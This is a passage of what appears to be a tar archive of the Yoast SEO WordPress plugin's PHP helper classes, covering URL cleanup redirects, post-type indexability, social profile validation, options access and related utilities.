					$allowed_query[ $get ] = \rawurlencode_deep( $query[ $get ] );
					unset( $query[ $get ] );
				}
			}
		}
		return [
			'query'         => $query,
			'allowed_query' => $allowed_query,
		];
	}

	/**
	 * Returns the proper URL for singular pages.
	 *
	 * @return string The proper URL.
	 */
	public function singular_url() {

		global $post;
		$proper_url = \get_permalink( $post->ID );
		$page       = \get_query_var( 'page' );

		if ( $page && $page !== 1 ) {
			$the_post   = \get_post( $post->ID );
			$page_count = \substr_count( $the_post->post_content, '<!--nextpage-->' );
			$proper_url = \user_trailingslashit( \trailingslashit( $proper_url ) . $page );
			if ( $page > ( $page_count + 1 ) ) {
				$proper_url = \user_trailingslashit( \trailingslashit( $proper_url ) . ( $page_count + 1 ) );
			}
		}

		// Fix reply to comment links, whoever decided this should be a GET variable?
		// phpcs:ignore WordPress.Security -- We know this is scary.
		if ( isset( $_SERVER['REQUEST_URI'] ) && \preg_match( '`(\?replytocom=[^&]+)`', \sanitize_text_field( $_SERVER['REQUEST_URI'] ), $matches ) ) {
			$proper_url .= \str_replace( '?replytocom=', '#comment-', $matches[0] );
		}
		unset( $matches );

		return $proper_url;
	}

	/**
	 * Returns the proper URL for front page.
	 *
	 * @return string The proper URL.
	 */
	public function front_page_url() {
		if ( $this->current_page_helper->is_home_posts_page() ) {
			return \home_url( '/' );
		}
		if ( $this->current_page_helper->is_home_static_page() ) {
			return \get_permalink( $GLOBALS['post']->ID );
		}
		return '';
	}

	/**
	 * Returns the proper URL for 404 page.
	 *
	 * @param string $current_url The current URL.
	 * @return string The proper URL.
	 */
	public function page_not_found_url( $current_url ) {
		if ( ! \is_multisite() || \is_subdomain_install() || ! \is_main_site() ) {
			return '';
		}

		if ( $current_url !== \home_url() . '/blog/' && $current_url !== \home_url() . '/blog' ) {
			return '';
		}

		if ( $this->current_page_helper->is_home_static_page() ) {
			return \get_permalink( \get_option( 'page_for_posts' ) );
		}

		return \home_url();
	}

	/**
	 * Returns the proper URL for taxonomy page.
	 *
	 * @return string The proper URL.
	 */
	public function taxonomy_url() {
		global $wp_query;
		$term = $wp_query->get_queried_object();

		if ( \is_feed() ) {
			return \get_term_feed_link( $term->term_id, $term->taxonomy );
		}
		return \get_term_link( $term, $term->taxonomy );
	}

	/**
	 * Returns the proper URL for search page.
	 *
	 * @return string The proper URL.
	 */
	public function search_url() {
		$s = \get_search_query();
		return \home_url() . '/?s=' . \rawurlencode( $s );
	}

	/**
	 * Returns the proper URL for url with page param.
	 *
	 * @param string $proper_url The proper URL.
	 * @return string The proper URL.
	 */
	public function query_var_page_url( $proper_url ) {
		global $wp_query;
		if ( \is_search( $proper_url ) ) {
			return \home_url() . '/page/' . $wp_query->query_vars['paged'] . '/?s=' . \rawurlencode( \get_search_query() );
		}
		return \user_trailingslashit( \trailingslashit( $proper_url ) . 'page/' . $wp_query->query_vars['paged'] );
	}

	/**
	 * Returns true if query is with page param.
	 *
	 * @param string $proper_url The proper URL.
	 * @return bool is query with page param.
	 */
	public function is_query_var_page( $proper_url ) {
		global $wp_query;
		if ( empty( $proper_url ) || $wp_query->query_vars['paged'] === 0 || $wp_query->post_count === 0 ) {
			return false;
		}
		return true;
	}

	/**
	 * Redirects clean permalink.
	 *
	 * @param string $proper_url The proper URL.
	 * @return void
	 */
	public function do_clean_redirect( $proper_url ) {
		$this->redirect_helper->set_header( 'Content-Type: redirect', true );
		$this->redirect_helper->remove_header( 'Content-Type' );
		$this->redirect_helper->remove_header( 'Last-Modified' );
		$this->redirect_helper->remove_header( 'X-Pingback' );

		$message = \sprintf(
			/* translators: %1$s: Yoast SEO */
			\__( '%1$s: unregistered URL parameter removed. See %2$s', 'wordpress-seo' ),
			'Yoast SEO',
			'https://yoa.st/advanced-crawl-settings'
		);

		$this->redirect_helper->do_safe_redirect( $proper_url, 301, $message );
	}

	/**
	 * Gets the type of URL.
	 *
	 * @return string The type of URL.
	 */
	public function get_url_type() {
		if ( \is_singular() ) {
			return 'singular_url';
		}
		if ( \is_front_page() ) {
			return 'front_page_url';
		}
		if ( $this->current_page_helper->is_posts_page() ) {
			return 'page_for_posts_url';
		}
		if ( \is_category() || \is_tag() || \is_tax() ) {
			return 'taxonomy_url';
		}
		if ( \is_search() ) {
			return 'search_url';
		}
		if ( \is_404() ) {
			return 'page_not_found_url';
		}
		return '';
	}

	/**
	 * Returns the proper URL for posts page.
	 *
	 * @return string The proper URL.
	 */
	public function page_for_posts_url() {
		return \get_permalink( \get_option( 'page_for_posts' ) );
	}
}
wordpress-seo/src/helpers/post-type-helper.php000064400000016265147510273100015555 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Post_Type;

/**
 * A helper object for post types.
 */
class Post_Type_Helper {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Post_Type_Helper constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Checks if the request post type is public and indexable.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @param string $post_type_name The name of the post type to lookup.
	 *
	 * @return bool True when post type is set to index.
	 */
	public function is_indexable( $post_type_name ) {
		if ( $this->options_helper->get( 'disable-' . $post_type_name, false ) ) {
			return false;
		}

		return ( $this->options_helper->get( 'noindex-' . $post_type_name, false ) === false );
	}

	/**
	 * Checks if the request post type has the Yoast Metabox enabled.
	 *
	 * @param string $post_type_name The name of the post type to lookup.
	 *
	 * @return bool True if metabox is enabled.
	 */
	public function has_metabox( $post_type_name ) {
		return ( $this->options_helper->get( 'display-metabox-pt-' . $post_type_name, true ) === true );
	}

	/**
	 * Returns an array with the public post types.
	 *
	 * @codeCoverageIgnore It only wraps a WordPress function.
	 *
	 * @param string $output The output type to use.
	 *
	 * @return array Array with all the public post_types.
	 */
	public function get_public_post_types( $output = 'names' ) {
		return \get_post_types( [ 'public' => true ], $output );
	}

	/**
	 * Returns an array with the accessible post types.
	 *
	 * An accessible post type is a post type that is public and isn't set as no-index (robots).
	 *
	 * @return array Array with all the accessible post_types.
	 */
	public function get_accessible_post_types() {
		$post_types = \get_post_types( [ 'public' => true ] );
		$post_types = \array_filter( $post_types, 'is_post_type_viewable' );

		/**
		 * Filter: 'wpseo_accessible_post_types' - Allow changing the accessible post types.
		 *
		 * @param array $post_types The public post types.
		 */
		$post_types = \apply_filters( 'wpseo_accessible_post_types', $post_types );

		// When the array gets messed up somewhere.
		if ( ! \is_array( $post_types ) ) {
			return [];
		}

		return $post_types;
	}

	/**
	 * Returns an array of post types that are excluded from being indexed for the
	 * indexables.
	 *
	 * @return array The excluded post types.
	 */
	public function get_excluded_post_types_for_indexables() {
		/**
		 * Filter: 'wpseo_indexable_excluded_post_types' - Allows excluding posts of a certain post
		 * type from being saved to the indexable table.
		 *
		 * @param array $excluded_post_types The currently excluded post types that indexables will not be created for.
		 */
		$excluded_post_types = \apply_filters( 'wpseo_indexable_excluded_post_types', [] );

		// Failsafe, to always make sure that `excluded_post_types` is an array.
		if ( ! \is_array( $excluded_post_types ) ) {
			return [];
		}

		return $excluded_post_types;
	}

	/**
	 * Checks if the post type is excluded.
	 *
	 * @param string $post_type The post type to check.
	 *
	 * @return bool If the post type is exclude.
	 */
	public function is_excluded( $post_type ) {
		return \in_array( $post_type, $this->get_excluded_post_types_for_indexables(), true );
	}

	/**
	 * Checks if the post type with the given name has an archive page.
	 *
	 * @param WP_Post_Type|string $post_type The name of the post type to check.
	 *
	 * @return bool True when the post type has an archive page.
	 */
	public function has_archive( $post_type ) {
		if ( \is_string( $post_type ) ) {
			$post_type = \get_post_type_object( $post_type );
		}

		return ( ! empty( $post_type->has_archive ) );
	}

	/**
	 * Returns the post types that should be indexed.
	 *
	 * @return array The post types that should be indexed.
	 */
	public function get_indexable_post_types() {
		$public_post_types   = $this->get_public_post_types();
		$excluded_post_types = $this->get_excluded_post_types_for_indexables();

		$included_post_types = \array_diff( $public_post_types, $excluded_post_types );

		return $this->filter_included_post_types( $included_post_types );
	}

	/**
	 * Returns all indexable post types with archive pages.
	 *
	 * @return array All post types which are indexable and have archive pages.
	 */
	public function get_indexable_post_archives() {
		return \array_filter( $this->get_indexable_post_type_objects(), [ $this, 'has_archive' ] );
	}

	/**
	 * Filters the post types that are included to be indexed.
	 *
	 * @param array $included_post_types The post types that are included to be indexed.
	 *
	 * @return array The filtered post types that are included to be indexed.
	 */
	protected function filter_included_post_types( $included_post_types ) {
		/**
		 * Filter: 'wpseo_indexable_forced_included_post_types' - Allows force including posts of a certain post
		 * type to be saved to the indexable table.
		 *
		 * @param array $included_post_types The currently included post types that indexables will be created for.
		 */
		$filtered_included_post_types = \apply_filters( 'wpseo_indexable_forced_included_post_types', $included_post_types );

		if ( ! \is_array( $filtered_included_post_types ) ) {
			// If the filter got misused, let's return the unfiltered array.
			return \array_values( $included_post_types );
		}

		// Add sanity check to make sure everything is an actual post type.
		foreach ( $filtered_included_post_types as $key => $post_type ) {
			if ( ! \post_type_exists( $post_type ) ) {
				unset( $filtered_included_post_types[ $key ] );
			}
		}

		// `array_values`, to make sure that the keys are reset.
		return \array_values( $filtered_included_post_types );
	}

	/**
	 * Checks if the given post type should be indexed.
	 *
	 * @param string $post_type The post type that is checked.
	 *
	 * @return bool
	 */
	public function is_of_indexable_post_type( $post_type ) {
		$public_types = $this->get_indexable_post_types();
		if ( ! \in_array( $post_type, $public_types, true ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if the archive of a post type is indexable.
	 *
	 * @param string $post_type The post type to check.
	 *
	 * @return bool if the archive is indexable.
	 */
	public function is_post_type_archive_indexable( $post_type ) {
		$public_type_objects = $this->get_indexable_post_archives();
		$public_types        = \array_map(
			static function ( $post_type_object ) {
				return $post_type_object->name;
			},
			$public_type_objects
		);

		return \in_array( $post_type, $public_types, true );
	}

	/**
	 * Returns an array of complete post type objects for all indexable post types.
	 *
	 * @return array List of indexable post type objects.
	 */
	public function get_indexable_post_type_objects() {
		$post_type_objects    = [];
		$indexable_post_types = $this->get_indexable_post_types();
		foreach ( $indexable_post_types as $post_type ) {
			$post_type_object = \get_post_type_object( $post_type );
			if ( ! empty( $post_type_object ) ) {
				$post_type_objects[ $post_type ] = $post_type_object;
			}
		}

		return $post_type_objects;
	}
}
wordpress-seo/src/helpers/notification-helper.php000064400000003703147510273100016270 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * A helper object for notifications.
 */
class Notification_Helper {

	/**
	 * Restores a notification (wrapper function).
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Yoast_Notification $notification The notification to restore.
	 *
	 * @return bool True if restored, false otherwise.
	 */
	public function restore_notification( Yoast_Notification $notification ) {
		return Yoast_Notification_Center::restore_notification( $notification );
	}

	/**
	 * Return the notifications sorted on type and priority. (wrapper function)
	 *
	 * @codeCoverageIgnore
	 *
	 * @return array|Yoast_Notification[] Sorted Notifications
	 */
	public function get_sorted_notifications() {
		$notification_center = Yoast_Notification_Center::get();

		return $notification_center->get_sorted_notifications();
	}

	/**
	 * Check if the user has dismissed a notification. (wrapper function)
	 *
	 * @param Yoast_Notification $notification The notification to check for dismissal.
	 * @param int|null           $user_id      User ID to check on.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return bool
	 */
	private function is_notification_dismissed( Yoast_Notification $notification, $user_id = null ) {
		return Yoast_Notification_Center::is_notification_dismissed( $notification, $user_id );
	}

	/**
	 * Parses all the notifications to an array with just id, message, nonce, type and dismissed.
	 *
	 * @return array<string,string|bool>
	 */
	public function get_alerts(): array {
		$all_notifications = $this->get_sorted_notifications();

		return \array_map(
			function ( $notification ) {
				return [
					'id'        => $notification->get_id(),
					'message'   => $notification->get_message(),
					'nonce'     => $notification->get_nonce(),
					'type'      => $notification->get_type(),
					'dismissed' => $this->is_notification_dismissed( $notification ),
				];
			},
			$all_notifications
		);
	}
}
wordpress-seo/src/helpers/twitter/image-helper.php000064400000002312147510273100016361 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Twitter;

use Yoast\WP\SEO\Helpers\Image_Helper as Base_Image_Helper;

/**
 * A helper object for Twitter images.
 */
class Image_Helper {

	/**
	 * The base image helper.
	 *
	 * @var Base_Image_Helper
	 */
	private $image;

	/**
	 * Image_Helper constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Base_Image_Helper $image The image helper.
	 */
	public function __construct( Base_Image_Helper $image ) {
		$this->image = $image;
	}

	/**
	 * The image size to use for Twitter.
	 *
	 * @return string Image size string.
	 */
	public function get_image_size() {
		/**
		 * Filter: 'wpseo_twitter_image_size' - Allow changing the Twitter Card image size.
		 *
		 * @param string $featured_img Image size string.
		 */
		return (string) \apply_filters( 'wpseo_twitter_image_size', 'full' );
	}

	/**
	 * Retrieves an image url by its id.
	 *
	 * @param int $image_id The image id.
	 *
	 * @return string The image url. Empty string if the attachment is not valid.
	 */
	public function get_by_id( $image_id ) {
		if ( ! $this->image->is_valid_attachment( $image_id ) ) {
			return '';
		}

		return $this->image->get_attachment_image_source( $image_id, $this->get_image_size() );
	}
}
wordpress-seo/src/helpers/social-profiles-helper.php000064400000025356147510273100016705 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * Class Social_Profiles_Helper.
 */
class Social_Profiles_Helper {

	/**
	 * The fields for the person social profiles payload.
	 *
	 * @var array
	 */
	private $person_social_profile_fields = [
		'facebook'   => 'get_non_valid_url',
		'instagram'  => 'get_non_valid_url',
		'linkedin'   => 'get_non_valid_url',
		'myspace'    => 'get_non_valid_url',
		'pinterest'  => 'get_non_valid_url',
		'soundcloud' => 'get_non_valid_url',
		'tumblr'     => 'get_non_valid_url',
		'twitter'    => 'get_non_valid_twitter',
		'youtube'    => 'get_non_valid_url',
		'wikipedia'  => 'get_non_valid_url',
	];

	/**
	 * The fields for the organization social profiles payload.
	 *
	 * @var array
	 */
	private $organization_social_profile_fields = [
		'facebook_site'     => 'get_non_valid_url',
		'twitter_site'      => 'get_non_valid_twitter',
		'other_social_urls' => 'get_non_valid_url_array',
	];

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Social_Profiles_Helper constructor.
	 *
	 * @param Options_Helper $options_helper The WPSEO options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Gets the person social profile fields supported by us.
	 *
	 * @return array The social profile fields.
	 */
	public function get_person_social_profile_fields() {
		/**
		 * Filter: Allow changes to the social profiles fields available for a person.
		 *
		 * @param array $person_social_profile_fields The social profile fields.
		 */
		$person_social_profile_fields = \apply_filters( 'wpseo_person_social_profile_fields', $this->person_social_profile_fields );

		return (array) $person_social_profile_fields;
	}

	/**
	 * Gets the organization social profile fields supported by us.
	 *
	 * @return array The organization profile fields.
	 */
	public function get_organization_social_profile_fields() {
		/**
		 * Filter: Allow changes to the social profiles fields available for an organization.
		 *
		 * @param array $organization_social_profile_fields The social profile fields.
		 */
		$organization_social_profile_fields = \apply_filters( 'wpseo_organization_social_profile_fields', $this->organization_social_profile_fields );

		return (array) $organization_social_profile_fields;
	}

	/**
	 * Gets the person social profiles stored in the database.
	 *
	 * @param int $person_id The id of the person.
	 *
	 * @return array The person's social profiles.
	 */
	public function get_person_social_profiles( $person_id ) {
		$social_profile_fields  = \array_keys( $this->get_person_social_profile_fields() );
		$person_social_profiles = \array_combine( $social_profile_fields, \array_fill( 0, \count( $social_profile_fields ), '' ) );

		// If no person has been selected, $person_id is set to false.
		if ( \is_numeric( $person_id ) ) {
			foreach ( \array_keys( $person_social_profiles ) as $field_name ) {
				$value = \get_user_meta( $person_id, $field_name, true );
				// If $person_id is an integer but does not represent a valid user, get_user_meta returns false.
				if ( ! \is_bool( $value ) ) {
					$person_social_profiles[ $field_name ] = $value;
				}
			}
		}

		return $person_social_profiles;
	}

	/**
	 * Gets the organization social profiles stored in the database.
	 *
	 * @return array<string, string> The social profiles for the organization.
	 */
	public function get_organization_social_profiles() {
		$organization_social_profiles_fields = \array_keys( $this->get_organization_social_profile_fields() );
		$organization_social_profiles        = [];

		foreach ( $organization_social_profiles_fields as $field_name ) {
			$default_value = '';
			if ( $field_name === 'other_social_urls' ) {
				$default_value = [];
			}
			$social_profile_value = $this->options_helper->get( $field_name, $default_value );

			if ( $field_name === 'other_social_urls' ) {
				$other_social_profiles                             = \array_map( '\urldecode', \array_filter( $social_profile_value ) );
				$organization_social_profiles['other_social_urls'] = $other_social_profiles;
				continue;
			}

			if ( $field_name === 'twitter_site' && $social_profile_value !== '' ) {
				$organization_social_profiles[ $field_name ] = 'https://x.com/' . $social_profile_value;
				continue;
			}

			$organization_social_profiles[ $field_name ] = \urldecode( $social_profile_value );
		}

		return $organization_social_profiles;
	}

	/**
	 * Stores the values for the person's social profiles.
	 *
	 * @param int   $person_id       The id of the person to edit.
	 * @param array $social_profiles The array of the person's social profiles to be set.
	 *
	 * @return string[] An array of field names which failed to be saved in the db.
	 */
	public function set_person_social_profiles( $person_id, $social_profiles ) {
		$failures                     = [];
		$person_social_profile_fields = $this->get_person_social_profile_fields();

		// First validate all social profiles, before even attempting to save them.
		foreach ( $person_social_profile_fields as $field_name => $validation_method ) {
			if ( ! isset( $social_profiles[ $field_name ] ) ) {
				// Just skip social profiles that were not passed.
				continue;
			}

			if ( $social_profiles[ $field_name ] === '' ) {
				continue;
			}

			$value_to_validate = $social_profiles[ $field_name ];
			$failures          = \array_merge( $failures, \call_user_func( [ $this, $validation_method ], $value_to_validate, $field_name ) );
		}

		if ( ! empty( $failures ) ) {
			return $failures;
		}

		// All social profiles look good, now let's try to save them.
		foreach ( \array_keys( $person_social_profile_fields ) as $field_name ) {
			if ( ! isset( $social_profiles[ $field_name ] ) ) {
				// Just skip social profiles that were not passed.
				continue;
			}
			$social_profiles[ $field_name ] = $this->sanitize_social_field( $social_profiles[ $field_name ] );
			\update_user_meta( $person_id, $field_name, $social_profiles[ $field_name ] );
		}

		return $failures;
	}

	/**
	 * Stores the values for the organization's social profiles.
	 *
	 * @param array $social_profiles An array with the social profiles values to be saved in the db.
	 *
	 * @return string[] An array of field names which failed to be saved in the db.
	 */
	public function set_organization_social_profiles( $social_profiles ) {
		$failures                           = [];
		$organization_social_profile_fields = $this->get_organization_social_profile_fields();

		// First validate all social profiles, before even attempting to save them.
		foreach ( $organization_social_profile_fields as $field_name => $validation_method ) {
			if ( ! isset( $social_profiles[ $field_name ] ) ) {
				// Just skip social profiles that were not passed.
				continue;
			}
			$social_profiles[ $field_name ] = $this->sanitize_social_field( $social_profiles[ $field_name ] );

			$value_to_validate = $social_profiles[ $field_name ];
			$failures          = \array_merge( $failures, \call_user_func( [ $this, $validation_method ], $value_to_validate, $field_name ) );
		}

		if ( ! empty( $failures ) ) {
			return $failures;
		}

		// All social profiles look good, now let's try to save them.
		foreach ( \array_keys( $organization_social_profile_fields ) as $field_name ) {
			if ( ! isset( $social_profiles[ $field_name ] ) ) {
				// Just skip social profiles that were not passed.
				continue;
			}

			// Remove empty strings in Other Social URLs.
			if ( $field_name === 'other_social_urls' ) {
				$other_social_urls = \array_filter(
					$social_profiles[ $field_name ],
					static function ( $other_social_url ) {
						return $other_social_url !== '';
					}
				);

				$social_profiles[ $field_name ] = \array_values( $other_social_urls );
			}

			$result = $this->options_helper->set( $field_name, $social_profiles[ $field_name ] );
			if ( ! $result ) {
				/**
				 * The value for Twitter might have been sanitised from URL to username.
				 * If so, $result will be false. We should check if the option value is part of the received value.
				 */
				if ( $field_name === 'twitter_site' ) {
					$current_option = $this->options_helper->get( $field_name );
					if ( ! \strpos( $social_profiles[ $field_name ], 'twitter.com/' . $current_option ) && ! \strpos( $social_profiles[ $field_name ], 'x.com/' . $current_option ) ) {
						$failures[] = $field_name;
					}
				}
				else {
					$failures[] = $field_name;
				}
			}
		}

		if ( ! empty( $failures ) ) {
			return $failures;
		}

		return [];
	}

	/**
	 * Returns a sanitized social field.
	 *
	 * @param string|array $social_field The social field to sanitize.
	 *
	 * @return string|array The sanitized social field.
	 */
	protected function sanitize_social_field( $social_field ) {
		if ( \is_array( $social_field ) ) {
			foreach ( $social_field as $key => $value ) {
				$social_field[ $key ] = \sanitize_text_field( $value );
			}

			return $social_field;
		}

		return \sanitize_text_field( $social_field );
	}

	/**
	 * Checks if url is not valid and returns the name of the setting if it's not.
	 *
	 * @param string $url         The url to be validated.
	 * @param string $url_setting The name of the setting to be updated with the url.
	 *
	 * @return array An array with the setting that the non-valid url is about to update.
	 */
	protected function get_non_valid_url( $url, $url_setting ) {
		if ( $this->options_helper->is_social_url_valid( $url ) ) {
			return [];
		}

		return [ $url_setting ];
	}

	/**
	 * Checks if urls in an array are not valid and return the name of the setting if one of them is not, including the non-valid url's index in the array
	 *
	 * @param array  $urls         The urls to be validated.
	 * @param string $urls_setting The name of the setting to be updated with the urls.
	 *
	 * @return array An array with the settings that the non-valid urls are about to update, suffixed with a dash-separated index of the positions of those settings, eg. other_social_urls-2.
	 */
	protected function get_non_valid_url_array( $urls, $urls_setting ) {
		$non_valid_url_array = [];

		foreach ( $urls as $key => $url ) {
			if ( ! $this->options_helper->is_social_url_valid( $url ) ) {
				$non_valid_url_array[] = $urls_setting . '-' . $key;
			}
		}

		return $non_valid_url_array;
	}

	/**
	 * Checks if the twitter value is not valid and returns the name of the setting if it's not.
	 *
	 * @param array  $twitter_site    The twitter value to be validated.
	 * @param string $twitter_setting The name of the twitter setting to be updated with the value.
	 *
	 * @return array An array with the setting that the non-valid twitter value is about to update.
	 */
	protected function get_non_valid_twitter( $twitter_site, $twitter_setting ) {
		if ( $this->options_helper->is_twitter_id_valid( $twitter_site, false ) ) {
			return [];
		}

		return [ $twitter_setting ];
	}
}
wordpress-seo/src/helpers/aioseo-helper.php000064400000002367147510273100015066 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use wpdb;

/**
 * The AIOSEO Helper.
 */
class Aioseo_Helper {

	/**
	 * The WordPress database instance.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * The wpdb helper.
	 *
	 * @var Wpdb_Helper
	 */
	protected $wpdb_helper;

	/**
	 * Class constructor.
	 *
	 * @param wpdb        $wpdb        The WordPress database instance.
	 * @param Wpdb_Helper $wpdb_helper The wpdb helper.
	 */
	public function __construct(
		wpdb $wpdb,
		Wpdb_Helper $wpdb_helper
	) {
		$this->wpdb        = $wpdb;
		$this->wpdb_helper = $wpdb_helper;
	}

	/**
	 * Retrieves the AIOSEO table name along with the db prefix.
	 *
	 * @return string The AIOSEO table name along with the db prefix.
	 */
	public function get_table() {
		return $this->wpdb->prefix . 'aioseo_posts';
	}

	/**
	 * Determines if the AIOSEO database table exists.
	 *
	 * @return bool True if the table is found.
	 */
	public function aioseo_exists() {
		return $this->wpdb_helper->table_exists( $this->get_table() ) === true;
	}

	/**
	 * Retrieves the option where the global settings exist.
	 *
	 * @return array The option where the global settings exist.
	 */
	public function get_global_option() {
		return \json_decode( \get_option( 'aioseo_options', '' ), true );
	}
}
wordpress-seo/src/helpers/environment-helper.php000064400000001431147510273100016142 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for site environment.
 */
class Environment_Helper {

	/**
	 * Determines if the site is running on production.
	 *
	 * @return bool True if WordPress is currently running on production, false for all other environments.
	 */
	public function is_production_mode() {
		// phpcs:ignore Yoast.NamingConventions.ValidHookName.WrongPrefix -- existing hook.
		$override = \apply_filters( 'yoast_seo_development_mode', false );
		if ( $override ) {
			return true;
		}

		return $this->get_wp_environment() === 'production';
	}

	/**
	 * Determines on which environment WordPress is running.
	 *
	 * @return string The current WordPress environment.
	 */
	public function get_wp_environment() {
		return \wp_get_environment_type();
	}
}
wordpress-seo/src/helpers/options-helper.php000064400000010030147510273100015264 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WPSEO_Option_Social;
use WPSEO_Option_Titles;
use WPSEO_Options;

/**
 * A helper object for options.
 */
class Options_Helper {

	/**
	 * Retrieves a single field from any option for the SEO plugin. Keys are always unique.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @param string $key           The key it should return.
	 * @param mixed  $default_value The default value that should be returned if the key isn't set.
	 *
	 * @return mixed|null Returns value if found, $default_value if not.
	 */
	public function get( $key, $default_value = null ) {
		return WPSEO_Options::get( $key, $default_value );
	}

	/**
	 * Sets a single field to the options.
	 *
	 * @param string $key          The key to set.
	 * @param mixed  $value        The value to set.
	 * @param string $option_group The lookup table which represents the option_group where the key is stored.
	 *
	 * @return mixed|null Returns value if found.
	 */
	public function set( $key, $value, $option_group = '' ) {
		return WPSEO_Options::set( $key, $value, $option_group );
	}

	/**
	 * Get a specific default value for an option.
	 *
	 * @param string $option_name The option for which you want to retrieve a default.
	 * @param string $key         The key within the option who's default you want.
	 *
	 * @return mixed The default value.
	 */
	public function get_default( $option_name, $key ) {
		return WPSEO_Options::get_default( $option_name, $key );
	}

	/**
	 * Retrieves the title separator.
	 *
	 * @return string The title separator.
	 */
	public function get_title_separator() {
		$default = $this->get_default( 'wpseo_titles', 'separator' );

		// Get the titles option and the separator options.
		$separator         = $this->get( 'separator' );
		$seperator_options = $this->get_separator_options();

		// This should always be set, but just to be sure.
		if ( isset( $seperator_options[ $separator ] ) ) {
			// Set the new replacement.
			$replacement = $seperator_options[ $separator ];
		}
		elseif ( isset( $seperator_options[ $default ] ) ) {
			$replacement = $seperator_options[ $default ];
		}
		else {
			$replacement = \reset( $seperator_options );
		}

		/**
		 * Filter: 'wpseo_replacements_filter_sep' - Allow customization of the separator character(s).
		 *
		 * @param string $replacement The current separator.
		 */
		return \apply_filters( 'wpseo_replacements_filter_sep', $replacement );
	}

	/**
	 * Retrieves a default value from the option titles.
	 *
	 * @param string $option_titles_key The key of the option title you wish to get.
	 *
	 * @return string The option title.
	 */
	public function get_title_default( $option_titles_key ) {
		$default_titles = $this->get_title_defaults();
		if ( ! empty( $default_titles[ $option_titles_key ] ) ) {
			return $default_titles[ $option_titles_key ];
		}

		return '';
	}

	/**
	 * Retrieves the default option titles.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @return array The title defaults.
	 */
	protected function get_title_defaults() {
		return WPSEO_Option_Titles::get_instance()->get_defaults();
	}

	/**
	 * Get the available separator options.
	 *
	 * @return array
	 */
	protected function get_separator_options() {
		return WPSEO_Option_Titles::get_instance()->get_separator_options();
	}

	/**
	 * Checks whether a social URL is valid, with empty strings being valid social URLs.
	 *
	 * @param string $url The url to be checked.
	 *
	 * @return bool Whether the URL is valid.
	 */
	public function is_social_url_valid( $url ) {
		return $url === '' || WPSEO_Option_Social::get_instance()->validate_social_url( $url );
	}

	/**
	 * Checks whether a twitter id is valid, with empty strings being valid twitter id.
	 *
	 * @param string $twitter_id The twitter id to be checked.
	 *
	 * @return bool Whether the twitter id is valid.
	 */
	public function is_twitter_id_valid( $twitter_id ) {
		return empty( $twitter_id ) || WPSEO_Option_Social::get_instance()->validate_twitter_id( $twitter_id, false );
	}
}
wordpress-seo/src/helpers/require-file-helper.php000064400000000461147510273100016171 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * Represents a file helper.
 */
class Require_File_Helper {

	/**
	 * Activates the plugin based on the given plugin file.
	 *
	 * @param string $path The path to the required file.
	 */
	public function require_file_once( $path ) {
		require_once $path;
	}
}
wordpress-seo/src/helpers/curl-helper.php000064400000001217147510273100014545 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * Helper class for getting information about the installed cURL version.
 */
class Curl_Helper {

	/**
	 * Checks is cURL is installed.
	 *
	 * @return bool Returns true if cURL is installed.
	 */
	public function is_installed() {
		return \function_exists( 'curl_version' );
	}

	/**
	 * Returns the currently installed cURL version.
	 *
	 * @return string|null Returns a string containing the cURL version, or null if cURL is not installed.
	 */
	public function get_version() {
		$version = \curl_version();

		if ( ! isset( $version['version'] ) ) {
			return null;
		}

		return $version['version'];
	}
}
wordpress-seo/src/helpers/url-helper.php000064400000020253147510273100014403 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\SEO\Models\SEO_Links;

/**
 * A helper object for URLs.
 */
class Url_Helper {

	/**
	 * Retrieve home URL with proper trailing slash.
	 *
	 * @param string      $path   Path relative to home URL.
	 * @param string|null $scheme Scheme to apply.
	 *
	 * @return string Home URL with optional path, appropriately slashed if not.
	 */
	public function home( $path = '', $scheme = null ) {
		$home_url = \home_url( $path, $scheme );

		if ( ! empty( $path ) ) {
			return $home_url;
		}

		$home_path = \wp_parse_url( $home_url, \PHP_URL_PATH );

		if ( $home_path === '/' ) { // Home at site root, already slashed.
			return $home_url;
		}

		if ( \is_null( $home_path ) ) { // Home at site root, always slash.
			return \trailingslashit( $home_url );
		}

		if ( \is_string( $home_path ) ) { // Home in subdirectory, slash if permalink structure has slash.
			return \user_trailingslashit( $home_url );
		}

		return $home_url;
	}

	/**
	 * Determines whether the plugin is active for the entire network.
	 *
	 * @return bool Whether or not the plugin is network-active.
	 */
	public function is_plugin_network_active() {
		static $network_active = null;

		if ( ! \is_multisite() ) {
			return false;
		}

		// If a cached result is available, bail early.
		if ( $network_active !== null ) {
			return $network_active;
		}

		$network_active_plugins = \wp_get_active_network_plugins();

		// Consider MU plugins and network-activated plugins as network-active.
		$network_active = \strpos( \wp_normalize_path( \WPSEO_FILE ), \wp_normalize_path( \WPMU_PLUGIN_DIR ) ) === 0
			|| \in_array( \WP_PLUGIN_DIR . '/' . \WPSEO_BASENAME, $network_active_plugins, true );

		return $network_active;
	}

	/**
	 * Retrieve network home URL if plugin is network-activated, or home url otherwise.
	 *
